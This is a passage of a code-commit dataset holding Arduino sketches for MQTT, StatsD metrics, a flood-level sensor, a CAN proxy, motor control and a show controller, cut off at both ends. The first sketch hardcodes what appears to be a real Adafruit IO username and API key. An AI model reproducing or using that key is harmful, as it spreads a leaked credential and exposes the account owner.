\"io.adafruit.com\"\n#define AIO_SERVERPORT 1883\n#define AIO_USERNAME \"tapiralec\"\n#define AIO_KEY \"f2983986545d28bdad80ba706b01bc1725417aab\"\n\n\/************ Global State (you don't need to change this!) ******************\/\n\n\/\/Set up the ethernet client\nEthernetClient client;\n\n\/\/ Store the MQTT server, client ID, username, and password in flash memory.\n\/\/ This is required for using the Adafruit MQTT library.\nconst char MQTT_SERVER[] PROGMEM = AIO_SERVER;\n\/\/ Set a unique MQTT client ID using the AIO key + the date and time the sketch\n\/\/ was compiled (so this should be unique across multiple devices for a user,\n\/\/ alternatively you can manually set this to a GUID or other random value).\nconst char MQTT_CLIENTID[] PROGMEM = __TIME__ AIO_USERNAME;\nconst char MQTT_USERNAME[] PROGMEM = AIO_USERNAME;\nconst char MQTT_PASSWORD[] PROGMEM = AIO_KEY;\n\nAdafruit_MQTT_Client mqtt(&client, MQTT_SERVER, AIO_SERVERPORT, MQTT_CLIENTID, MQTT_USERNAME, MQTT_PASSWORD);\n\n\/\/ You don't need to change anything below this line!\n#define halt(s) { Serial.println(F( s )); while(1); }\n\n\n\/****************************** Feeds ***************************************\/\n\n\/\/ Setup a feed called 'photocell' for publishing.\n\/\/ Notice MQTT paths for AIO follow the form: <username>\/feeds\/<feedname>\nconst char PHOTOCELL_FEED[] PROGMEM = AIO_USERNAME \"\/feeds\/photocell\";\nAdafruit_MQTT_Publish photocell = Adafruit_MQTT_Publish(&mqtt, PHOTOCELL_FEED);\n\n\/\/ Setup a feed called 'onoff' for subscribing to changes.\nconst char ONOFF_FEED[] PROGMEM = AIO_USERNAME \"\/feeds\/onoff\";\nAdafruit_MQTT_Subscribe onoffbutton = Adafruit_MQTT_Subscribe(&mqtt, ONOFF_FEED);\n\n\/*************************** Sketch Code ************************************\/\n\nvoid setup() {\n Serial.begin(115200);\n\n Serial.println(F(\"Adafruit MQTT demo\"));\n\n Serial.print(F(\"Free RAM: \")); Serial.println(getFreeRam(), DEC);\n\n \/\/ Initialise the Client\n Serial.print(F(\"\\nInit the Client...\"));\n Ethernet.begin(mac);\n delay(1000); \/\/give the ethernet a second to initialize\n \n\n mqtt.subscribe(&onoffbutton);\n\n }\n}\n\nuint32_t x=0;\n\nvoid loop() {\n \/\/ Ensure the connection to the MQTT server is alive (this will make the first\n \/\/ connection and automatically reconnect when disconnected). See the MQTT_connect\n \/\/ function definition further below.\n MQTT_connect();\n \n \/\/ Try to ping the MQTT server\n if (! mqtt.ping(3) ) {\n \/\/ MQTT pings failed, let's reconnect by forcing a watchdog reset.\n Serial.println(\"Ping fail! Resetting...\");\n delay(10000);\n }\n\n \/\/ this is our 'wait for incoming subscription packets' busy subloop\n Adafruit_MQTT_Subscribe *subscription;\n while ((subscription = mqtt.readSubscription(1000))) {\n if (subscription == &onoffbutton) {\n Serial.print(F(\"Got: \"));\n Serial.println((char *)onoffbutton.lastread);\n }\n }\n\n \/\/ Now we can publish stuff!\n Serial.print(F(\"\\nSending photocell val \"));\n Serial.print(x);\n Serial.print(\"...\");\n if (! photocell.publish(x++)) {\n Serial.println(F(\"Failed\"));\n } else {\n Serial.println(F(\"OK!\"));\n }\n}\n\n\/\/ Function to connect and reconnect as necessary to the MQTT server.\n\/\/ Should be called in the loop function and it will take care if connecting.\nvoid MQTT_connect() {\n int8_t ret;\n\n \/\/ Stop if already connected.\n if (mqtt.connected()) {\n return;\n }\n\n Serial.print(\"Connecting to MQTT... \");\n\n while ((ret = mqtt.connect()) != 0) { \/\/ connect will return 0 for connected\n Serial.println(mqtt.connectErrorString(ret));\n Serial.println(\"Retrying MQTT connection in 5 seconds...\");\n mqtt.disconnect();\n delay(5000); \/\/ wait 5 seconds\n }\n Serial.println(\"MQTT Connected!\");\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/mqtt_ethernet\/mqtt_ethernet.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8feb26d147e427fb4c38f068aac5172d73150e80","subject":"update","message":"update\n","repos":"tempbottle\/MQTT","old_file":"firmware\/examples\/mqtttest.ino","new_file":"firmware\/examples\/mqtttest.ino","new_contents":"#include \"MQTT.h\"\n\nvoid callback(char* topic, byte* payload, unsigned int length);\nMQTT client(\"server_name\", 1883, callback);\n\n\/\/ recieve message\nvoid callback(char* topic, byte* payload, unsigned int length) {\n char p[length + 1];\n memcpy(p, payload, length);\n p[length] = NULL;\n String message(p);\n\n if (message.equals(\"RED\")) \n RGB.color(255, 0, 0);\n else if (message.equals(\"GREEN\")) \n RGB.color(0, 255, 0);\n else if (message.equals(\"BLUE\")) \n RGB.color(0, 0, 255);\n else \n RGB.color(255, 255, 255);\n delay(1000);\n}\n\n\nvoid setup() {\n RGB.control(true);\n \n \/\/ connect to the server\n client.connect(\"sparkclient\");\n\n \/\/ publish\/subscribe\n if (client.isConnected()) {\n client.publish(\"outTopic\",\"hello world\");\n client.subscribe(\"inTopic\");\n }\n}\n\nvoid loop() {\n if (client.isConnected())\n client.loop();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/examples\/mqtttest.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"93566802a7db81e807851fe0e02de0b9b8e7cf36","subject":"Add tagged metrics example","message":"Add tagged metrics example\n","repos":"aelse\/ArduinoStatsd","old_file":"examples\/statsd_tagging\/statsd_tagging.ino","new_file":"examples\/statsd_tagging\/statsd_tagging.ino","new_contents":"#include <ESP8266WiFi.h>\n#include <WiFiUdp.h>\n\n#include <Statsd.h>\n\n\/\/ Create the UDP object and configure the StatsD client.\nWiFiUDP udp; \/\/ or EthernetUDP, as appropriate.\n\/\/ The last argument is the comma separated list of tags to be applied to\n\/\/ all metrics emitted by this client.\nStatsd statsd(udp, \"192.168.0.16\", 8125, \"host=speck\");\n\n\nvoid setup() {\n const char* ssid = \"my_wifi_ssid\";\n const char* wifi_password = \"my_wifi_password\";\n\n Serial.begin(115200);\n\n \/\/ Connect to Wifi.\n Serial.printf(\"\\n\\n\\nConnecting to %s \", ssid);\n WiFi.begin(ssid, wifi_password);\n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n Serial.println(\" connected\");\n\n delay(100);\n\n \/\/ Once connected tell client to begin.\n statsd.begin();\n \/\/ If sending to DogStatsd or gostatsd use the Datadog tag style.\n \/\/ stats.setTagStyle(TAG_STYLE_DATADOG);\n \/\/ If sending to Telegraf use its own tag style.\n statsd.setTagStyle(TAG_STYLE_TELEGRAF);\n}\n\nvoid loop() {\n int val = random(20);\n \/\/ Emit a named metric with given value, some number of comma separated tags at a given sample rate.\n \/\/ metric: some.metric\n \/\/ value: val\n \/\/ tags: sensor: basement (and host: speck, configured in the constant tags for the client)\n \/\/ sample rate: 0 -> 1.0 (100%)\n \/\/ Use tags when you have a metric that will benefit from being able to drill down by tags.\n \/\/ In this example we include the information that this datapoint comes from a sensor in\n \/\/ the basement. If we had many sensors and this was a temperature reading we could look\n \/\/ at the min, max and averages of temperatures in a building as well as those in a particular area.\n statsd.gauge(\"some.metric\", val, \"sensor=basement\", 1.0);\n delay(1000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/statsd_tagging\/statsd_tagging.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e83f2dec5213f5b92fd7c0b583ceaf64b39cbfa2","subject":"11 strings in progmem. Array indexes are #defines","message":"11 strings in progmem. Array indexes are #defines\n","repos":"upperman\/Wireless-Led-Display,upperman\/Wireless-Led-Display","old_file":"Software\/arduino\/arduino.ino","new_file":"Software\/arduino\/arduino.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/upperman\/Wireless-Led-Display.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"cc12280d092aee7d8bb13412a55690e29ddcd1bf","subject":"First commit of sensor firmware","message":"First commit of sensor firmware\n","repos":"OxFloodNet\/sensor-device","old_file":"OxFloodNet_Sensor\/OxFloodNet_Sensor.ino","new_file":"OxFloodNet_Sensor\/OxFloodNet_Sensor.ino","new_contents":"\/** \n * LLAPDistance_Remote sketch for Ciseco RFu-328 and Maxbotix XL-EZ3 ultrasonic sensor\n * Availabe form http:\/\/www.coolcomponents.co.uk\/ultrasonic-range-finder-xl-ez3.html\n *\n * Transmits reading every 5 minutes\n * Data transmitted is of form aXXRIVRnnn--\n * Battery readings every 10th cycle aXXBATTv.vvv\n *\n * Where XX is the device ID, nnn is the distance to the water in cm, v.vvv is battery voltage\n *\n * Sensor is controled using a single N-Channel MOSFET, Gate to SENSOR_ENABLE,\n * Source to GND, Drain to -ve of sensor, Sensor +ve to +3V.\n *\n * (c) Andrew D Lindsay 2014\n *\/\n\n\n#include \"LLAPSerial.h\"\t\/\/ include the library\n#include <OneWire.h>\n#include <DallasTemperature.h>\n\n#define VERSION_STRING \"V0.6\"\n\n\/\/ Number of readings before a battery reading is taken\n#define BATTERY_READ_INTERVAL 10\n\n\/\/ Hardware pin defines\n\/\/ Enable SRF\n#define SRF_RADIO_ENABLE 8\n\/\/ Enable the sensor, controlled by FET\n#define SENSOR_ENABLE 6\n\/\/ Pin that sensor PWM input is on\n#define SENSOR_PIN 3\n\/\/ Using Sleep Mode 1, SLEEP must be HIGH to run\n\/\/ Using Sleep Mode 2, SLEEP must be LOW to run\n\/\/ Using Sleep Mode 3, SLEEP must be LOW to run\n#define SRF_SLEEP 4\n#define WAKE_INT 2\n\n\/\/ Data wire is plugged into port 2 on the Arduino\n#define TEMP_SENSOR_ENABLE 10\n#define ONE_WIRE_BUS 5\n\n\/\/ Setup a oneWire instance to communicate with any OneWire devices (not just Maxim\/Dallas temperature ICs)\nOneWire oneWire(ONE_WIRE_BUS);\n\n\/\/ Pass our oneWire reference to Dallas Temperature. \nDallasTemperature sensors(&oneWire);\n\n\/\/ arrays to hold device address\nDeviceAddress insideThermometer;\nboolean tempSensorFound = false;\n\nuint8_t inPin[] = { 9, 11, 12, 13 };\n\nint batteryCountDown = BATTERY_READ_INTERVAL;\n\nuint8_t enterCommandMode();\n\/\/ Node ID, default R0, set by input pins\nchar nodeId[2] = { 'R', '0' };\n\n\/\/ Some functions to get the configured node address\nvoid readNodeId() {\n \/\/ Set analog input pins to read digital values, set internal pullup\n pinMode(A0, INPUT);\n pinMode(A1, INPUT);\n pinMode(A2, INPUT);\n pinMode(A3, INPUT);\n pinMode(A4, INPUT);\n pinMode(A5, INPUT);\n digitalWrite(A0, HIGH);\n digitalWrite(A1, HIGH);\n digitalWrite(A2, HIGH);\n digitalWrite(A3, HIGH);\n digitalWrite(A4, HIGH);\n digitalWrite(A5, HIGH);\n \n \/\/ Read input and parse value\n \/\/ \n int a = PINC & 0x3F;\n a ^= 0x3F;\n \n \/\/ A0, A1 are first part, R, S, T, W\n \/\/ A2 - A5 are 0-9, A-F\n int id1 = a & 0x03;\n switch( id1 ) {\n case 0: nodeId[0] = 'R'; break;\n case 1: nodeId[0] = 'S'; break;\n case 2: nodeId[0] = 'T'; break;\n case 3: nodeId[0] = 'W'; break;\n }\n int id2 = a >> 2;\n if( id2 <10 ) \n nodeId[1] = '0' + id2;\n else\n nodeId[1] = 'A' + (id2-10);\n\n \/\/ Reset analog inputs to set internal pullup off\n digitalWrite(A0, LOW);\n digitalWrite(A1, LOW);\n digitalWrite(A2, LOW);\n digitalWrite(A3, LOW);\n digitalWrite(A4, LOW);\n digitalWrite(A5, LOW);\n}\n\n\/\/ **************************************\n\/\/ Functions used in processing readings\n\/\/ Sorting function (Author: Bill Gentles, Nov. 12, 2010)\nvoid isort(uint16_t *a, int8_t n){\n for (int i = 1; i < n; ++i) {\n uint16_t j = a[i];\n int k;\n for (k = i - 1; (k >= 0) && (j < a[k]); k--) {\n a[k + 1] = a[k];\n }\n a[k + 1] = j;\n }\n}\n\n\/\/ Mode function, returning the mode or median.\nuint16_t mode(uint16_t *x,int n){\n int i = 0;\n int count = 0;\n int maxCount = 0;\n uint16_t mode = 0;\n int bimodal;\n int prevCount = 0;\n while(i<(n-1)){\n prevCount=count;\n count=0;\n while( x[i]==x[i+1] ) {\n count++;\n i++;\n }\n if( count > prevCount & count > maxCount) {\n mode=x[i];\n maxCount=count;\n bimodal=0;\n }\n if( count == 0 ) {\n i++;\n }\n if( count == maxCount ) { \/\/If the dataset has 2 or more modes.\n bimodal=1;\n }\n if( mode==0 || bimodal==1 ) { \/\/ Return the median if there is no mode.\n mode=x[(n\/2)];\n }\n return mode;\n }\n}\n\n\/\/ Get the rance in cm. Need to enable sensor first then wait briefly for it to power up\n\/\/ Disable sensor after use.\nuint16_t getRange() {\n int16_t pulse; \/\/ number of pulses from sensor\n int i=0;\n \/\/ These values are for calculating a mathematical median for a number of samples as\n \/\/ suggested by Maxbotix instead of a mathematical average\n int8_t arraysize = 9; \/\/ quantity of values to find the median (sample size). Needs to be an odd number\n \/\/declare an array to store the samples. not necessary to zero the array values here, it just makes the code clearer\n uint16_t rangevalue[] = { \n 0, 0, 0, 0, 0, 0, 0, 0, 0 };\n\n digitalWrite(SENSOR_ENABLE, HIGH);\n digitalWrite(TEMP_SENSOR_ENABLE, HIGH);\n delay(100);\n \n if( tempSensorFound ) {\n sensors.requestTemperatures(); \/\/ Send the command to get temperature\n }\n\n while( i < arraysize )\n {\t\t\t\t\t\t\t\t \n pulse = pulseIn(SENSOR_PIN, HIGH); \/\/ read in time for pin to transition\n if( pulse == 0 ) return 0;\n rangevalue[i]=pulse\/58; \/\/ pulses to centimeters (use 147 for inches)\n if( rangevalue[i] < 645 && rangevalue[i] >= 15 ) i++; \/\/ ensure no values out of range\n delay(10); \/\/ wait between samples\n }\n digitalWrite(SENSOR_ENABLE, LOW);\n\n isort(rangevalue,arraysize); \/\/ sort samples\n uint16_t distance = mode(rangevalue,arraysize); \/\/ get median \n\n \/\/ Use temperature comprensation if temp sensor found\n if( tempSensorFound ) {\n float temperature = sensors.getTempC(insideThermometer);\n\/\/ Serial.print(\"Uncomp Dist: \");\n\/\/ Serial.println(distance,DEC);\n\/\/ Serial.print(\"temperature: \");\n\/\/ Serial.println(temperature);\n float tof = distance * 0.0058;\n uint16_t newDist = tof * (( 20.05 * sqrt( temperature + 273.15))\/2);\n distance = newDist;\n }\n digitalWrite(TEMP_SENSOR_ENABLE, LOW);\n\n return distance; \n}\n\n\/\/ End of Maxbotix sensor code\n\/\/ **************************************\n\n\/\/ Battery monitoring\nint readVcc() {\n \/\/ Read 1.1V reference against AVcc\n \/\/ set the reference to Vcc and the measurement to the internal 1.1V reference\n #if defined(__AVR_ATmega32U4__) || defined(__AVR_ATmega1280__) || defined(__AVR_ATmega2560__)\n ADMUX = _BV(REFS0) | _BV(MUX4) | _BV(MUX3) | _BV(MUX2) | _BV(MUX1);\n #elif defined (__AVR_ATtiny24__) || defined(__AVR_ATtiny44__) || defined(__AVR_ATtiny84__)\n ADMUX = _BV(MUX5) | _BV(MUX0);\n #elif defined (__AVR_ATtiny25__) || defined(__AVR_ATtiny45__) || defined(__AVR_ATtiny85__)\n ADMUX = _BV(MUX3) | _BV(MUX2);\n #else\n ADMUX = _BV(REFS0) | _BV(MUX3) | _BV(MUX2) | _BV(MUX1);\n #endif \n \n delay(2); \/\/ Wait for Vref to settle\n ADCSRA |= _BV(ADSC); \/\/ Start conversion\n while (bit_is_set(ADCSRA,ADSC)); \/\/ measuring\n \n uint8_t low = ADCL; \/\/ must read ADCL first - it then locks ADCH \n uint8_t high = ADCH; \/\/ unlocks both\n \n long result = (high<<8) | low;\n \n result = 1125300L \/ result; \/\/ Calculate Vcc (in mV); 1125300 = 1.1*1023*1000\n return (int)result; \/\/ Vcc in millivolts\n}\n\n\/*\n\n *\/\nuint8_t setSRFSleep() \n{\n if (!enterCommandMode())\t\/\/ if failed once then try again\n {\n if (!enterCommandMode()) return 1;\n }\n \/\/if (!sendCommand(\"ATSDDBBA0\")) return 2;\t\/\/ 15 minutes\n \/\/if (!sendCommand(\"ATSD927C0\")) return 2;\t\/\/ 10 minutes\n if (!sendCommand(\"ATSD493E0\")) return 2;\t\/\/ 5 minutes\n \/\/if (!sendCommand(\"ATSD49E30\")) return 2;\t\/\/ 5 minutes - Wrong!\n \/\/if (!sendCommand(\"ATSD4E20\")) return 2;\t\/\/ 20 seconds\n \/\/if (!sendCommand(\"ATSD1388\")) return 2;\t\/\/ 5 seconds\n \n if (!sendCommand(\"ATSM3\")) return 3;\n if (!sendCommand(\"ATDN\")) return 4;\n return 5; \/\/ success\n}\n\n\nuint8_t enterCommandMode()\n{\n delay(1200);\n Serial.print(\"+++\");\n delay(500);\n while (Serial.available()) Serial.read(); \/\/ flush serial in - get rid of anything received before the +++ was accepted\n delay(500);\n return checkOK(500);\n}\n\nuint8_t sendCommand(char* lpszCommand)\n{\n Serial.print(lpszCommand);\n Serial.write('\\r');\n return checkOK(100);\n}\n\nuint8_t checkOK(int timeout)\n{\n static uint32_t time = millis();\n while (millis() - time < timeout)\n {\n if (Serial.available() >= 3)\n {\n if (Serial.read() != 'O') continue;\n if (Serial.read() != 'K') continue;\n if (Serial.read() != '\\r') continue;\n return 1;\n }\n }\n return 0;\n}\n\n\nvoid setup() {\n \/\/ initialise serial:\n Serial.begin(115200);\n \/\/ Get device ID\n readNodeId();\n \/\/ Initialise the LLAPSerial library\n LLAP.init( nodeId );\n analogReference(DEFAULT);\n\n \/\/ Set unused digital pins to input and turn on pull-up resistor\n for(int i = 0; i< 5; i++ ) {\n pinMode(inPin[i], INPUT);\n digitalWrite(inPin[i], HIGH);\n }\n\n \/\/ Setup sensor pins\n pinMode(SENSOR_ENABLE, OUTPUT);\n digitalWrite(SENSOR_ENABLE, LOW);\n pinMode(SENSOR_PIN, INPUT);\n\n pinMode( TEMP_SENSOR_ENABLE, OUTPUT );\n digitalWrite( TEMP_SENSOR_ENABLE, HIGH);\n\n \/\/ Setup the SRF pins\n pinMode(SRF_RADIO_ENABLE, OUTPUT); \/\/ initialize pin 8 to control the radio\n digitalWrite(SRF_RADIO_ENABLE, HIGH); \/\/ select the radio\n pinMode(SRF_SLEEP, OUTPUT);\n digitalWrite( SRF_SLEEP, LOW );\n\n sensors.begin();\n tempSensorFound = false;\n if (sensors.getAddress(insideThermometer, 0)) {\n \/\/ set the resolution to 9 bit (Each Dallas\/Maxim device is capable of several different resolutions)\n sensors.setResolution(insideThermometer, 9);\n tempSensorFound = true;\n }\n digitalWrite( TEMP_SENSOR_ENABLE, LOW);\n\n batteryCountDown = BATTERY_READ_INTERVAL;\n \/\/ Wait for it to be initialised\n delay(200);\n\n \/\/ Send STARTED message if successful or ERROR if not able to set SleepMode 3.\n \/\/ set up sleep mode 3 (low = awake)\n uint8_t val;\n while ((val = setSRFSleep()) != 5)\n {\n LLAP.sendInt(\"ERR\",val); \/\/ Diagnostic\n delay(5000);\t\/\/ try again in 5 seconds\n }\n\n LLAP.sendMessage(\"STARTED\");\n\n}\n\n\/\/ The main loop, we basically wake up the SRF, take a reading, transmit reading then go back to sleep\nvoid loop() {\n\n \/\/ Short delay to allow reading to be sent then sleep\n delay(50);\n pinMode(SRF_SLEEP, INPUT); \/\/ sleep the radio\n LLAP.sleep(WAKE_INT, RISING, false); \/\/ sleep until woken on pin 2, no pullup (low power)\n pinMode(SRF_SLEEP, OUTPUT); \/\/ wake the radio\n\n \/\/ Determine if we need to send a battery voltage reading or a distance reading\n if( --batteryCountDown <= 0 ) {\n int mV = readVcc();\n LLAP.sendIntWithDP(\"BATT\", mV, 3 );\n batteryCountDown = BATTERY_READ_INTERVAL;\n } \n else {\n \/\/ Distance reading\n uint16_t cm = getRange();\n \/\/ Send reading 5 times to make sure it gets through\n for(int n = 0; n<3; n++ ) {\n if( cm > 17 ) {\n LLAP.sendInt( \"RIVR\", cm );\n } \n else if( cm == 0 ) {\n LLAP.sendMessage( \"RIVRMax\" );\n } \n else {\n LLAP.sendMessage( \"RIVRErr\" );\n }\n delay(30);\n }\n }\n\n}\n\n\/\/ That's all folks\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'OxFloodNet_Sensor\/OxFloodNet_Sensor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ecaebc4cc92358b573c0135cba59a719e228e0a6","subject":"initially added","message":"initially added\n","repos":"iam-ictm\/redcat-uartpilot,iam-ictm\/redcat-uartpilot","old_file":"uartpilot_proxy\/uartpilot_proxy.ino","new_file":"uartpilot_proxy\/uartpilot_proxy.ino","new_contents":"\/*\n * Copyright (C) 2017 BFH - Bern University of Applied Sciences, http:\/\/bfh.ch\n * Author: Pascal Mainini <pascal.mainini@bfh.ch>\n *\n * Licensed under MIT license, see included file LICENSE or\n * http:\/\/opensource.org\/licenses\/MIT\n *\n * Arduino application which proxies\/modifies CAN messages based on commands \n * received on the serial interface.\n *\/\n\n#include <UARTPilot.h>\n\nUARTPilot::Parser parser;\nUARTPilot::Msg_COD_t* p_msg;\n\n\/**\n * Standard arduino setup(), initialize things\n *\/\nvoid setup() {\n Serial.begin(115200);\n Serial1.begin(115200);\n p_msg = (UARTPilot::Msg_COD_t*) malloc(sizeof(p_msg));\n}\n\n\/**\n * Standard arduino main loop()\n *\/\nvoid loop() {\n int msg_len = -1;\n\n while (Serial1.available()) {\n msg_len = parser.parse(Serial1.read());\n }\n\n if (msg_len > 0 && parser.isChecksumCorrect() && parser.getMsgCOD(p_msg)) {\n Serial.print(p_msg->speed);\n Serial.println(p_msg->steerangle);\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'uartpilot_proxy\/uartpilot_proxy.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"071722139b036461b390a4db7b72622627e067ae","subject":"added arduino files for communication testing","message":"added arduino files for communication testing\n","repos":"it2901g10\/GROUP10-baf_sintef_arduino,it2901g10\/GROUP10-baf_sintef_arduino,it2901g10\/GROUP10-baf_sintef_arduino","old_file":"arduino\/serialWShield\/serialWShield.ino","new_file":"arduino\/serialWShield\/serialWShield.ino","new_contents":"#include <LiquidCrystal.h>\n\nLiquidCrystal lcd(8, 9, 4, 5, 6, 7);\n\nvoid setup(){\n Serial.begin(9600);\n pinMode(13, OUTPUT);\n \n lcd.begin(16, 2);\n lcd.print(\"button: -\");\n lcd.setCursor(0,1);\n lcd.print(\"Bytes: 0\");\n}\n\nvoid loop(){\n static int oldkey = -1;\n int adc_key_in = analogRead(0); \/\/ read the value from the\n digitalWrite(13, HIGH); \n int key = get_key(adc_key_in); \/\/ convert into key press \n if (key != oldkey){ \/\/ if keypress is detected\n delay(50); \/\/ wait for debounce time \n adc_key_in = analogRead(0); \/\/read the value from the sensor\n key = get_key(adc_key_in); \/\/ convert into key press\n if (key != oldkey) { \n oldkey = key; \n if (key >=0){\n lcd.setCursor(8, 0); \/\/line=2, x=0 \n lcd.print(key, DEC);\n }\n }\n }\n digitalWrite(13, LOW); \n}\n\nvoid serialEvent(){\n static byte prevByte = 0x01;\n static int bytes = 0;\n static boolean toggle = false;\n \/\/digitalWrite(13, toggle);\n while(Serial.available()){\n byte currByte = Serial.read();\n \n if (currByte == 0xFF && prevByte == 0x00){\n Serial.write((byte)0x00);\n Serial.write((byte)0xFF);\n }\n else {\n Serial.write(currByte);\n }\n bytes++;\n prevByte = currByte;\n }\n toggle = !toggle;\n lcd.setCursor(7, 1);\n lcd.print(bytes);\n}\n\nint get_key(int value){\n const int adc_key_val[5] ={30, 150, 360, 535, 760 };\n const int NUM_KEYS = 5;\n \n for (int i = 0; i < NUM_KEYS; ++i){\n if (value <= adc_key_val[i]){\n return i;\n }\n }\n return -1;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/serialWShield\/serialWShield.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"53ab5d8012ca8c5dee4e079bb445edad9c5a262c","subject":"Added new folder with 2017 bot","message":"Added new folder with 2017 bot\n","repos":"simplyellow\/auto-sumo","old_file":"v2\/Motor_control\/Motor_control.ino","new_file":"v2\/Motor_control\/Motor_control.ino","new_contents":"\/\/motor A connected between A01 and A02\n\/\/motor B connected between B01 and B02\n\nint STBY = 10; \/\/standby\n\n\/\/Motor A\nint PWMA = 3; \/\/Speed control\nint AIN1 = 9; \/\/Direction\nint AIN2 = 8; \/\/Direction\n\n\/\/Motor B\nint PWMB = 5; \/\/Speed control\nint BIN1 = 11; \/\/Direction\nint BIN2 = 12; \/\/Direction\n\nvoid setup(){\npinMode(STBY, OUTPUT);\n\npinMode(PWMA, OUTPUT);\npinMode(AIN1, OUTPUT);\npinMode(AIN2, OUTPUT);\n\npinMode(PWMB, OUTPUT);\npinMode(BIN1, OUTPUT);\npinMode(BIN2, OUTPUT);\n}\n\nvoid loop(){\nmove(1, 255, 1); \/\/motor 1, full speed, left\nmove(2, 255, 1); \/\/motor 2, full speed, left\n\ndelay(1000); \/\/go for 1 second\nstop(); \/\/stop\ndelay(250); \/\/hold for 250ms until move again\n\nmove(1, 128, 0); \/\/motor 1, half speed, right\nmove(2, 128, 0); \/\/motor 2, half speed, right\n\ndelay(1000);\nstop();\ndelay(250);\n}\n\nvoid move(int motor, int speed, int direction){\n\/\/Move specific motor at speed and direction\n\/\/motor: 0 for B 1 for A\n\/\/speed: 0 is off, and 255 is full speed\n\/\/direction: 0 clockwise, 1 counter-clockwise\n\ndigitalWrite(STBY, HIGH); \/\/disable standby\n\nboolean inPin1 = LOW;\nboolean inPin2 = HIGH;\n\nif(direction == 1){\ninPin1 = HIGH;\ninPin2 = LOW;\n}\n\nif(motor == 1){\ndigitalWrite(AIN1, inPin1);\ndigitalWrite(AIN2, inPin2);\nanalogWrite(PWMA, speed);\n}else{\ndigitalWrite(BIN1, inPin1);\ndigitalWrite(BIN2, inPin2);\nanalogWrite(PWMB, speed);\n}\n}\n\nvoid stop(){\n\/\/enable standby\ndigitalWrite(STBY, LOW);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'v2\/Motor_control\/Motor_control.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f6508f15ed1b8a537aae89615e99fabbe344d135","subject":"the last file uploaded into the arduino","message":"the last file uploaded into the arduino","repos":"paolocavagnolo\/plastik-art_democracy","old_file":"coni\/arduino\/test\/remote\/last.ino","new_file":"coni\/arduino\/test\/remote\/last.ino","new_contents":"#define MAINSW 12 \/\/1 su 0 e 0 su 1\n#define SEL_A 28 \/\/0 su 1\n#define SEL_B 31 \/\/0 su 2\n#define BT_A A14 \/\/0 premuto\n#define BT_B A8 \/\/1 premuto\n#define SEL_Gp A5 \/\/0 su G e 1 su p\n\n#define passetto 10\n#define vel_passetti 3000\n\n#define NUM_CHANNELS 16\n\nlong muovi(char let, int vel, int posA, int posB, int posC = 0);\nlong t0 = 0;\nlong dd = 100;\nlong tdd = 0;\n\nuint8_t channels[NUM_CHANNELS] = {53, 52, 51, 50, 49, 48, 47, 46, 45, 44, 43, 42, 41, 40, 39, 38};\n\nvoid setup() {\n pinMode(MAINSW, INPUT_PULLUP);\n pinMode(SEL_A, INPUT_PULLUP);\n pinMode(SEL_B, INPUT_PULLUP);\n pinMode(BT_A, INPUT_PULLUP);\n pinMode(BT_B, INPUT_PULLUP);\n pinMode(SEL_Gp, INPUT_PULLUP);\n\n for (int i=0; i<NUM_CHANNELS; i++) {\n pinMode(channels[i], OUTPUT);\n }\n\n Serial.begin(9600);\n\n Serial2.begin(4800);\n}\n\nint act = 0;\nlong att1 = 0;\nlong att2 = 0;\nbool inviatoG = false;\nbool inviatop = false;\n\nvoid loop() {\n while (digitalRead(MAINSW)) \/\/SHOW\n {\n digitalWrite(channels[15],LOW);\n if (act == 0) {\n t0 = millis();\n Serial.println(\"ACT 0\");\n inviatop = false;\n inviatoG = false;\n act++;\n att1 = 0;\n att2 = 0;\n Serial.print(digitalRead(SEL_A));\n Serial.print(\" \");\n Serial.print(digitalRead(SEL_B));\n Serial.println(\" \");\n }\n if ((digitalRead(SEL_A) == 0) && (digitalRead(SEL_B) == 1)) \/\/A\n {\n show_uno();\n }\n else if ((digitalRead(SEL_A) == 1) && (digitalRead(SEL_B) == 1)) \/\/B\n {\n show_due();\n }\n else if ((digitalRead(SEL_A) == 1) && (digitalRead(SEL_B) == 0)) \/\/C\n {\n show_tre();\n }\n\n\n }\n while (!digitalRead(MAINSW)) \/\/TEST\n {\n digitalWrite(channels[15],HIGH);\n \/\/ Reset the Act. for the Next Show.\n act = 0;\n\n \/\/ COMMAND FROM SERIAL AVAILABLE\n \/\/ p 20 -60 >> move little cone A: 20 degree clockwise - B: 60 degree counterclockwise\n \/\/ P 2000 >> set velocity of little cone to 2000\n \/\/ g 90 -90 90 >> move big cone\n \/\/ G 4000 >> set velocity of big cone\n if (Serial.available() > 0) {\n Serial2.write(Serial.read());\n }\n\n \/\/ Check button\n checkButton();\n\n }\n}\n\nvoid attore(int scena, char let_G, int vel_G, int posG_a, int posG_b, int posG_c, char let_p, int vel_p, int posp_a, int posp_b, int pausa) {\n\n if (act == scena) {\n if (inviatoG == false) {\n att1 = muovi(let_G, vel_G, posG_a, posG_b, posG_c);\n digitalWrite(channels[act-1], HIGH);\n Serial.println(\"mando scena G\");\n Serial.println(act);\n inviatoG = true;\n tdd = millis();\n }\n if ((inviatop == false) && ((long)(millis() - tdd) > dd)) {\n att2 = muovi(let_p, vel_p, posp_a, posp_b);\n digitalWrite(channels[act-1], 